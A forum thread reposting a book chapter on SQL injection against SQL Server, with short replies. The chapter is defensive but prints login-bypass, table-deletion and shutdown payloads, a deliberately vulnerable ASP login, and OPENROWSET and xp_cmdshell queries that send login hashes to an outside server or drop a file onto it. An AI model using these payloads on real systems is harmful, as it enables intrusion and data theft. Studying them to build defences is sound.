Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

[Info]The SQL Injection Attack

Status
Not open for further replies.
Retired Developer
Joined
Jun 16, 2005
Messages
496
Reaction score
213
The SQL Injection Attack
(All those info is from this book : )

To give you a concrete example of why Windows authenticated logins and stored procedures offer superior protection, let's look at an attack that uses the syntax of Structured Query Language against the server: the SQL Injection Attack (SIA).

When creating the outline for this book, I consciously decided not to write about the security flaws that cropped up as I was writing. There is obviously no way of knowing how long after publication you purchased this book, plus Microsoft usually does a good job of releasing patches for bugs soon after they are discovered, which means that there will not be a problem for long if you keep your patches up to date.

Note Keep up to date with Microsoft's security patches at their security homepage at and security bulletin site at .


The SIA is different from other kinds of attacks because it takes advantage of SQL itself, and as long as we have database servers with SQL as their primary language, we are going to have the possibility of the SIA. SIA does not depend on a programming flaw in SQL Server, but instead on a mistake made by many programmers in their applications. Fortunately, taking a holistic approach to security and application design will nullify this attack's potential to cause problems. I will start with a basic example, an ASP web page that looks up usernames and passwords in a table, in a database, on SQL Server.

Note This first example works for SQL Server 6.5, 7.0, and 2000. Because it utilizes the standard syntax structure of SQL in general, the attack will work to some extent on every SQL database server on the market. This is not a flaw in Microsoft SQL Server. Transact-SQL does indeed give an attacker a powerful language for causing mischief, but Oracle, DB2, and MySQL will have similar problems as well.


Before you get to the web page code, you need to look at a typical SELECT query used to look up a username and password (assuming that you store usernames and passwords in a database):

SELECT UserName
FROM Users
WHERE UserName = 'JackS' AND
Password = 'password'


This is a very typical query that returns a one-row resultset if there is a row in the Users table that matches the name and password supplied. If the resultset is empty, then you know either the name is wrong or the password is wrong; therefore, the number of rows (1 or 0) indicates a simple pass or fail test on whether JackS can access the web site.

Although it often gets overlooked, the semicolon, ;, is a line separator in T-SQL. It allows you to write two or more separate commands on a single line. Most people do not use the semicolon because T-SQL is not a line-oriented language and a lot of white space makes it easier to read long queries. The following compound statement is legal, and it will return two separate resultsets:

SELECT * FROM publishers; SELECT * FROM authors

As it turns out, you can put more than a SELECT statement in the second part of the compound statement. The next example shows an added little bomb that deletes all the rows from the Users table:

SELECT UserName FROM Users WHERE UserName = 'JackS'
AND Password = 'password'; DELETE Users


Note Even though the margins of this book force the code to be on two lines, the preceding lines of code really are a single line. The code download for this chapter has a script you can run to create the table, as well as code to test the compound statement.


If you are thinking that the DELETE statement will not work if the user does not have permission to delete rows, you are correct. If the application is crafted properly and the database has a good permission structure, the DELETE statement will not work. Because understanding how the application can defeat your best security plans is critical, it is time to look at the code for the web page. First, the HTML (SIATest.htm):

<HTML>
<HEAD>
<TITLE>SQL Injection Test Page</TITLE>
</HEAD>
<BODY>
<H1>Login</H1>
<FORM action='SIATest.asp' method=post>
<TABLE>
<TR>
<TD>Username:</TD>
<TD><INPUT type="text" name="username"></INPUT></TD>
</TR>
<TR>
<TD>Password:</TD>
<TD><INPUT type="password"
name="password"></INPUT></TD>
</TR>
</TABLE>
<INPUT type=submit value='Submit'>
<INPUT type=reset value='Reset'>
</FORM>
</BODY>
</HTML>

SIATest.htm is a simple HTML web page that has two text boxes on a form. The only part of the HTML that you need to understand is that when the user clicks the Submit button, the web server will send the contents of the text boxes to SIATest.asp:

<HTML>
<BODY>
<%@LANGUAGE = VBScript %>
<%
dim username, password, cn, rso, sql

username = Request.form("username")
password = Request.form("password")

set cn = Server.createobject("ADODB.Connection")
cn.connectiontimeout = 20
cn.open "Provider=SQLoledb;server=localhost;" & _
"uid=sa;pwd=dopey;database=Users"

set rso = Server.CreateObject("ADODB.Recordset")
sql = "select * from users where username = '" + _
username + "'and password = '" + password + "'"

rso.open sql, cn
if (rso.EOF) then
response.write "<p>Access Denied</p>"
else
response.write "<p>Welcome, " & username & ".</p>"
end if
rso.close()
%>
</BODY>
</HTML>

SIATest.asp is a small VBScript program that opens a connection to the database server on the local machine, builds a query to look for a row with the supplied name and password, sends the query to the database server, and then prints a message based on whether the resultset has no rows or one row. There are two critical mistakes in SIATest.asp that allow the SIA, which I detail in the following section.

Opening a Connection as sa
The first mistake is that the program opens the connection using the sa account. Every operation sent on that connection will be in the system administrator's security context. As you saw in Chapter 2, SQL Server does not check permissions for the sa account because it is assumed to have them all. If the server is SQL Server 7.0 or 2000, this particular security flaw would also occur if the program used a SQL Server or Windows account that was a member of the sysadmin server role. Using the sa account to log in means that any bugs in the program will be allowed to pass to the database server completely unchecked and unrestricted. Let's take a look at some examples of simple SIA attacks.

The first simple example shows false authentication. It also shows the second mistake, which comes from the way the program creates the query. Rather than using a stored procedure, the program builds an ad hoc query at runtime. The problem arises when an attacker adds unexpected commands to one of the text boxes:

Username: JoeS' --
Password: password

If the attacker knows there is a user named JoeS, adding the single quote and the comment characters allows him to log in as JoeS without knowing the password. Because the comment characters tell SQL Server to ignore everything after them, the part of the WHERE clause that checks for the password will be left off the query.

The second example shows what a hacker could do if he did not know a valid username. The following shows the addition of an account to a table:

Username: JoeH'; Insert Users Values ('JoeH', 'password') –-
Password: password

Username: JoeH
Password: password


The single quote closes the username string, and the semicolon indicates that there is a second statement. The comment characters after the INSERT statement once again tell SQL Server to ignore the password. The first time the attacker submits this username, he will get the Access Denied message. The second time, he will be welcomed as a valid user. This example shows the complete weakness of a pass or fail authentication check.

The third example shows some malicious mischief the hacker can commit. In this case, instead of creating an account, the hacker simply deletes rows in the Users table:

Username: JoeH'; Delete Users --
Password: password

If you do not mind losing the contents of the pubs..sales table, substitute pubs..sales for Users in this example. Doing this shows how the attacker can affect tables anywhere on the server.

The final simple example offers a quick little denial of service attack by sending the shutdown command to the server:

Username: '; shutdown –-
Password: <blank>

The whitepapers listed in Appendix A have further examples of SQL Injection Attacks.

Note All these examples work because the application logs in as sa. This practice borders on criminally negligent and should be rewarded at a minimum with a strong reprimand and loss of status for any programmer or database administrator who does it. The primary rule of security is that no one should have more privileges than he absolutely needs to accomplish his work. Using the sa account violates that rule in many, many ways.


Opening Connections using a Single Account
Using a single account for the application also enables the SIA. Rather than having each user connect to SQL Server using individual authentication criteria, the application acts as a proxy for the user for all database operations. This deprives SQL Server of the option of validating access to database objects based on the user's identity, and it renders SQL Server's authorization checkpoints useless. There is simply no way to limit the scope of the damage that users can cause if an application uses a single login account.

Alternatives for Solving Login Weaknesses
Obviously, you need to consider alternatives to both of the methods of authorizing a connection. There are three alternative methods you could employ to solve this problem:

Use Windows authenticated accounts and disable SQL Server authentication.

Set up logins with a different SQL Server login and password for each user.

Use application roles with either a SQL Server or a Windows authenticated login.

Let's take a look at each method in turn.

Using Windows Authenticated Accounts and Disabling SQL Server Authentication
For the ASP example, access to the server will be based on the anonymous login account assigned to the web site. You still have a single login but, by default, IIS creates that account as a member of the Guests local account, which has no default permissions on SQL Server or within Windows itself. Database access and permissions will need to be set manually before the web page can access the server. For other applications, Windows will log into SQL Server using the same credentials used to log into the computer running the application. Windows authenticated logins offer some options for controlling server access and for securing the communications channels that you do not have with SQL Server authenticated logins.

Using a SQL Server Login for Each User
If using Windows accounts is not an option, the second alternative is to change the program to log in with a different SQL Server login account and password for each user. Here is a modified example with the additional parameters that do this:

cn.open "Provider=SQLoledb;server=localhost;database=pubs" , _
username, password

In SIATest.asp, instead of using the sa account and password, you can use the second and third parameters of the open method to supply the username and password.

Note You can also insert the username and password directly into the connection string at runtime, but you risk the chance that someone will find a way of doing something like SIA with the ActiveX Data Objects components.


Using a SQL Server authenticated account does require some changes to the program logic, but it permits you to control access to the server and to data using SQL Server's built-in authentication and authorization mechanisms.

A Note about Obfuscation
Notice that using the technique mentioned in the previous section to obscure the SQL Server account name does not offer any advantages in this situation. If your application adds AAA to the beginning and ZZZ to the end of the username supplied on the web site, as follows:

sql = "SELECT * FROM users WHERE username = 'AAA" + _
username + "ZZZ'AND password = '" + password + "'"

then the query string still has the same problems as it would without the additional letters. If the hacker inputs the following:

--Username='; shutdown –
--Password=<blank>

then the command that SQL Server sees looks like this:

sql = SELECT * FROM users WHERE username = 'AAA'; shutdown --ZZZ' AND password = ''

Running the password through the hash algorithm does, however, offer protection against using the password part of the SELECT statement to inject SQL statements, because those extra statements will be converted before the application builds the ad hoc query. One possible solution to SIA in a situation like this would be to transform the contents of both the username and password text boxes using an MD5 hash, and create SQL Server accounts and passwords based on the hashes instead of the text entered in the text boxes. It may not be a universal solution, but it will defeat this particular style of SIA.

Note Fixing the SIA may at first glance appear simple—just validate the input before it gets to SQL Server. However, in my 25 years of writing applications, I have never been able to anticipate all the ways a user could enter erroneous data. Every time I tried, someone came up with a new idea I had not considered. The reality is that what is simple pattern recognition to a human being is decidedly not simple to implement in a computer program. You should definitely be implementing input validation in the application that collects data from users, but do not underestimate how hard it is to anticipate human ingenuity.


Using Application Roles
A third option is to use application roles with either a SQL Server or a Windows authenticated login. The primary benefit of application roles in this case is that they severely limit what a user can do with the other databases on the server. Even if the application logs in with an account that is a member of sysadmin, enabling the application role will strip away all permissions except those explicitly granted to the role. This will have the effect of containing any damage to one database.

The Risks of Ad Hoc Queries
Besides the use of the sa account to log in, the SIA takes advantage of ad hoc queries built at runtime. The obvious way to eliminate this vulnerability is not to use ad hoc queries (more on this in the next section). With that in mind, let's revisit the earlier discussion of using stored procedures as an intermediate layer between the user and the data.

Ad hoc queries sent by applications are normally not considered to be the same risk as queries sent directly by users to the server, but the SIA changes what should be a safe, pretested query into a query that has the same security risks you saw when users are able to connect directly to the server. Using a web server as a proxy between the user and SQL Server was one option for protecting the database server; however, the SIA renders the web server useless if the application is not designed correctly. When you think about architectural changes to protect against the SIA, remember the choices suggested in the previous section. They apply here.

The following code is in the script CreateLogin.sql and creates a stored procedure named Login that encapsulates the SELECT query from SIATest.asp:

CREATE PROCEDURE Login(@UserName varchar(50),
@Password varchar(20))
AS
SELECT UserName FROM Users
WHERE UserName = @UserName
AND Password = @Password
go

The only difference is that the stored procedure receives a string of characters as an input parameter instead of a string containing a query. The WHERE clause properly evaluates whether the characters in the @UserName parameter match the characters in the UserName column of the Users table. Now, JoeH'; Delete Users evaluates to a literal string instead of to a compound statement, and the SELECT statement returns no rows because there is no one named JoeH'; Delete Users in the table.

The following ASP code is a revised version of SIATest.asp that executes the stored procedure rather than sending the SELECT statement as a string. (This is saved as SIATestSP.asp in the code download for this chapter. Run CreateLogin.sql first.)

<HTML>
<BODY>
<%@language = VBScript %>
<%
dim username, password, cn, cmd, tmpParam, rso, sql

username = Request.form("username")
password = Request.form("password")

set cn = Server.createobject( "ADODB.Connection" )
cn.connectiontimeout = 20
cn.open "Provider=SQLoledb;server=(local);" & _
"uid=sa;pwd=dopey;database=Users"

set cmd = Server.createobject( "ADODB.Command" )
set cmd.ActiveConnection = cn
cmd.CommandText = "Login"
cmd.CommandType = 4

' Add Parameters to SPROC
' 200=varchar, 1 = input parameter,
' 50=max number of characters
set tmpParam = cmd.CreateParameter("@UserName", _
200, 1, 50, username)
cmd.Parameters.append tmpParam
set tmpParam = cmd.CreateParameter("@Password", _
200, 1, 20, password)
cmd.Parameters.append tmpParam

set rso = cmd.execute()
if (rso.EOF) then
response.write "<p>Access Denied</p>"
else
response.write "<p>Welcome, " & username & ".</p>"
end if

rso.close()
%>
</BODY>
</HTML>

The reason this version defeats the SIA is that the contents of the text boxes are stored directly into stored procedure parameters, which have a varchar data type. This is a string variable to string variable copy, and neither ADO nor the SQL Server OLEDB data provider is interpreting the contents. In fact, anything over 50 characters for the username and 20 characters for the password will be truncated; therefore, hackers have a total of 70 bytes of working space even if they someday discover a way to compromise the safety of the ADO parameter component.

Note Notice that the program still logs in with the sa account, and it still bases access to the web site on whether the resultset has a row in it. I left those mistakes in the code to show you that you can improve the security of the program tremendously just by using stored procedures instead of ad hoc queries. Changing the login account to a low-privilege account only changes the scope of what a hacker can do. It does not stop the hacker completely. Using stored procedures does.


In addition, remember that stored procedures will have limited value if users can access the tables directly. Though not shown here, you need to make sure that users have no direct permissions on the tables and views in the database. If they do, then you still run the risk of the SIA. If users do not have SELECT permission on the tables, they will receive an error that will halt processing of the rest of the queries in the compound statement.

Finally, it is possible to use stored procedures and still be a victim of the SIA. If SIATestSP.asp had built a string as shown here:

cmd.CommandText = "exec Login '" & username & "', '" _
& password & "'"


there is no real protection offered by using an ADO Command object. All it would do is replace an ad hoc SELECT query with an ad hoc call to a stored procedure. In other words, do not build strings containing T-SQL at runtime. Whether you do it in an application or a stored procedure does not change how bad a practice it is.

Stealing Data Remotely using the SQL Injection Attack
So far, everything I have covered about the SIA applies to all versions of SQL Server. With SQL Server 7.0's introduction of the OPENROWSET clause in the SELECT statement, it is now possible to move data between servers directly using the SIA. It is impossible to create a patch to prevent an attacker from using the feature, but defeating this attack is just a matter of applying the techniques I have mentioned. In fact, the SIA is a perfect example of how implementing proper security measures will protect your systems against many attacks before someone discovers them.

The SIA can be used to steal your data remotely by

Using OPENROWSET to pull data from a remote server and store it in a table under the hacker's control

Using OPENROWSET to pull data from a server on the private network side of a firewall and store it on the Internet side of a firewall

Uploading a program or script to a text column on the target server and then using BCP to insert the column's contents into a file on the target server's hard disk

OPENROWSET
The SIA starts with the OPENROWSET clause in a SELECT statement. The following is a simple example that retrieves data from a table on a remote server. It can be used to see if a set of security credentials work on a particular server.

select * from
OPENROWSET( 'SQLoledb',
'server=ADBServer;uid=sa;pwd=password',
'SELECT * FROM pubs..Authors' )

The OPENROWSET clause uses the OLEDB data provider to retrieve the data, and then it uses that rowset exactly like a table on the local server. The rowset returned by the OPENROWSET clause can be used anywhere a table or view can be used. That makes the OPENROWSET clause a very powerful way to combine data from multiple servers into a single query without first creating temporary tables or calling remote stored procedures. It also turns out that the OPENROWSET clause is an effective tool for hackers who want to use one server to steal data from another.

The first data-stealing mode of the SIA usually occurs when the attacker is on the local network. The following code (Openrowset2.sql from the code download) can be used to pull data from a remote server and store it in a table on a server under the attacker's control:

SELECT * INTO RemoteDatabases
FROM OPENROWSET( 'SQLoledb',
'server=ADBServer;uid=sa;pwd=password',
'select * from master..sysdatabases )

The following code (Openrowset3.sql) shows the second mode of the attack, where the OPENROWSET clause specifies a destination table on a server under the attacker's control:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=password;
Network=DBMSSOCN;Address=209.19.7.254,1433;',
'SELECT * FROM Remotelogins')
SELECT * FROM database.dbo.sysxlogins

That server can be anywhere, but this mode is used by attackers from the Internet side of a firewall to retrieve data from a server on the private network side of the firewall. Notice that the OPENROWSET clause specifies port 1433 (SQL Server's default port) as the destination port. It could just as easily be the HTTP port, port 80, if the firewall were configured not to allow outbound traffic on port 1433. Most firewalls have rules permitting computers on the private network to send traffic through the firewall on port 80. Knowing this, an attacker could configure SQL Server to listen on port 80 instead of port 1433, and the query in Openrowset3.sql would send the data through the HTTP port to the hacker's server.

This form of the attack can be used to expand the hacker's opportunities by retrieving the contents of the sysxlogins table. You saw in Chapter 2 that the method of storing passwords has a flaw that makes it possible to launch a brute force attack against them. At the very least, having the hashed passwords locally allows the attacker the option of trying to break them where an administrator cannot detect the attack. This possibility shows why the SIA can be very dangerous.

The final data-stealing mode of the SIA is equally dangerous. It takes the form of uploading a program or script to a text column on the target server and then using BCP to insert the column's contents into a file on the target server's hard disk. This two-step process, shown in the following code, would allow the attacker to use the sp_cmdexec stored procedure to execute a program or script on the server:

-- On the attacker's server, run the following commands
CREATE TABLE ProgramTable(junk image)
GO
BULK INSERT ProgramTable
FROM 'c:\winnt\notepad.exe'
WITH (formatfile = 'c:\bcp.fmt')

-- bcp.fmt has the following format
-- for more information on how to insert binary data,
-- see Knowledgebase article Q271344
8.0
1
1 SQLIMAGE 0 50960 ""
1 junk ""

-- On the target server, run these commands
SELECT * INTO TestTable
SELECT * FROM OPENROWSET('SQLoledb',
'uid=sa;pwd=password;Network=DBMSSOCN;Address=209. 19.7.254,1433;',
'SELECT * FROM ProgramTable')

exec xp_cmdshell 'bcp "pubs.guest.testTable" out "c:\notepad.exe" -Slocalhost
-Usa -Ppassword -f bcp.fmt'

This technique is similar to another attack that occurred in the first half of 2002. Some hackers discovered that there were quite a few SQL Servers connected to the Internet with no password on the sa account. They used the preceding technique to upload code to these SQL Servers, which used Trivial File Transfer Protocol (TFTP) to download each server's Windows account database. Once they had a copy of the accounts database, they used a program to read all the local accounts and passwords on the database server. Armed with that information, they had full administrator privileges on the database server, which they could then use as a platform for launching other attacks on the private network.

How to Defend Your Data against this Attack
The fortunate thing about this attack is that it is easily defeated if the database administrator takes a holistic view of security by using a combination of network and SQL Server security. The first step in creating a defense is to analyze the pieces of information that are critical to its success. Those pieces are

A SQL Server authenticated account and password

Authorization to connect to the database server

Sufficient permissions to execute SELECT queries on target tables

The ability to send information from the database server to the Internet

The absence of stateful inspection of the packets on the firewall

The existence of the xp_cmdshell stored procedure

Permissions to execute the xp_cmdshell stored procedure

Permissions to create a file on the database server's hard disk

Permissions to execute a program or run a script on the database server

Let's look at the database server access first, because everything revolves around being able to log into the server. As it turns out, SQL Server authenticated accounts are the single biggest contributor to this attack. The fact that passwords for SQL Server authenticated logins travel the network in plain text makes it much more likely that an attacker could find passwords using a packet analyzer. SQL Server also has a weakness in that it does not have a mechanism for detecting excessive login attempts. It is particularly susceptible to dictionary or brute force attacks after the attacker knows an account name. Because every server has the sa account, every attacker has a starting point for attacks.

Note It is possible to rename the sa account, but the technique involves manually changing the row in syslogins. This goes against Microsoft's (and my) very strong admonition not to work directly with system tables. It is, however, a way to hide a very powerful account from attackers, and several web sites have recommended renaming the sa account as part of securing SQL Server. The fact that SQL Server uses the sa account's SID and not its name in its internal security checks is what makes renaming sa possible. Just be careful and make backups of the Master database before you make the change.


The first solution is to use a very long password on the sa account. Chapter 2 covered creating strong passwords in detail. No application should ever be using the sa account or any account that is a member of the sysadmin server role. The best suggestion I have seen is to create a random password with the maximum length possible consisting of all possible characters, write it down, and then place the piece of paper in a safe or safety deposit box in case of an emergency. For other members of sysadmin in SQL Server 7.0 and 2000, passwords should be at least ten characters long and consist of random characters that do not form recognizable words. The idea is to protect the accounts that can give an attacker unlimited control over your server.

The next piece of the solution is to make sure the password never travels across the network unencrypted. SQL Server 2000 supports SSL encryption of the data stream between the client and server using up to 128-bit keys. The Multiprotocol network library supports triple Data Encryption Standard (DES) with 56-bit keys. Triple DES has been broken, but it required a sizeable amount of computing power. As of summer 2002, SSL with 128-bit keys is considered to be safe for 3 to 5 more years; therefore, SSL should be a requirement for systems that use SQL Server authenticated logins.

Note The server versions of Windows 2000 have the option of creating a certificate authority (CA) that can issue both client certificates and server certificates. If you have a Windows 2000 domain, you can save a lot of money by using digital server certificates from an internal CA. The details of how to implement a certificate authority are outside the scope of this book. The Windows 2000 Server Resource Kit has a good explanation of what is involved, and the Microsoft Official Curriculum course 2150, "Designing a Security-Enhanced Microsoft Network," can teach you more about implementing SSL, IPSec, Kerberos, and so on in a Windows 2000 network.


Using Windows authenticated logins instead of SQL Server authenticated logins makes unauthorized access to the server harder to achieve. The NTLM version 2 authentication protocol is the default protocol for Windows 2000 and XP, and Microsoft has an upgrade for Windows NT and Windows 9x that allows them to use NTLM version 2. NTLM version 2 is a much more secure version of the protocol used by Window NT, so just upgrading will keep your passwords safe from protocol analyzers.

If you have a Windows 2000 domain, SQL Server is running under a version of Windows 2000 Server, and the client uses Windows 2000 or XP, you can use the Kerberos authentication protocol instead. It has the advantage of authenticating the identity of both the client and the database server, and the option of specifying which users can connect to the server. That means that only members of the domain can connect to the database server, and only if they have been given appropriate permission within the domain. An attacker, therefore, would need to log into a domain computer using a domain account with not only the appropriate rights to connect to SQL Server, but also the permission to log into SQL Server itself. That would be a difficult set of permissions to acquire from outside the private network.

One of the last defenses uses a little common sense and a firewall. Because it is highly unlikely that your database server will need to send query results directly to a host on the Internet, it makes sense to add a rule to the firewall that prevents all outbound traffic from the database server's IP address. (If you want to go a step further, you can restrict access to the network card's Media Access Control [MAC] address too.) By specifically stating that the database server is not allowed to communicate with computers not on the local area network, it will not matter if the attacker tries to redirect results through the firewall on the HTTP port. This technique will force an attacker to work from a computer on the private network. If the attacker is able to compromise some other computer and use it as an intermediary between the database and the Internet, then the firewall rule will not defeat the attack; however, it will force the hacker to break into another computer before she can start attacking your database server.

Disabling Ad Hoc Queries
Because one of the reasons remote SIA works is because of ad hoc queries—that is, queries that are not contained in stored procedures, user-defined functions, or views—you may want to disable them. SQL Server 2000 looks at the registry key DisallowAdhocAccess for each data provider when it starts up to decide if ad hoc queries will be allowed. If the key has a value of 1, no user may use that data provider to send ad hoc queries. Here is a list of some of the common data providers found on SQL Server 2000, as a reference:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\ Providers\Microsoft.Jet.OLEDB.4.0]"DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\ Providers\MSDAORA]"DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\ Providers\MSDASQL]"DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\"DisallowAdhocAccess"= dword:00000001

You must exercise some caution when disabling ad hoc queries because of the potential for breaking code that uses data on remote servers. Be sure to test this change before you set it on a production server.

Note Changing values in the registry is not something that should be done by novices. Test changes on an unimportant server, and do not be afraid to ask for help if you are unsure of what you are doing.


One Last Warning
Even though I have been using an ASP-based web application as the basis for the examples in this section, the SIA is something that can be used with any application that builds a query string from text input. It is the act of building the SQL command dynamically at runtime that opens an application to exploitation by the SIA. How the data is entered into the program does not matter. Anytime a SQL command is not hard-coded into the application, you must make sure you validate the input.
 
Last edited by a moderator:
Junior Spellweaver
Joined
Nov 28, 2004
Messages
131
Reaction score
1
I have a big book about MSSQL and all fail and protection I will start learn it and copy past the important part for us to be protected from DDOS attack

here a good tools for managing MSSQL server this also will help you found error that SQL server get anytime

and also it's so cool managing soft it's like you use excel so it's really good for SQL table really fast search
MSSQL Maestro


i've been looking for this. thanks for the share sir.
 
Upvote 0
Junior Spellweaver
Joined
Jan 3, 2008
Messages
182
Reaction score
179
I got Books about SQL...Hope you guys like this. ^_^

O_Reilly_Media.SQL_Hacks
Data_Analysis_Using_SQL_and_Exce
Wrox
 
Upvote 0
Initiate Mage
Joined
Apr 6, 2005
Messages
76
Reaction score
0
If i remove my abyss webserver, php and i manually create their username in SQL, like send your username password to my YM, is this still possible to hack to my sql?
 
Upvote 0
Status
Not open for further replies.
Back
Top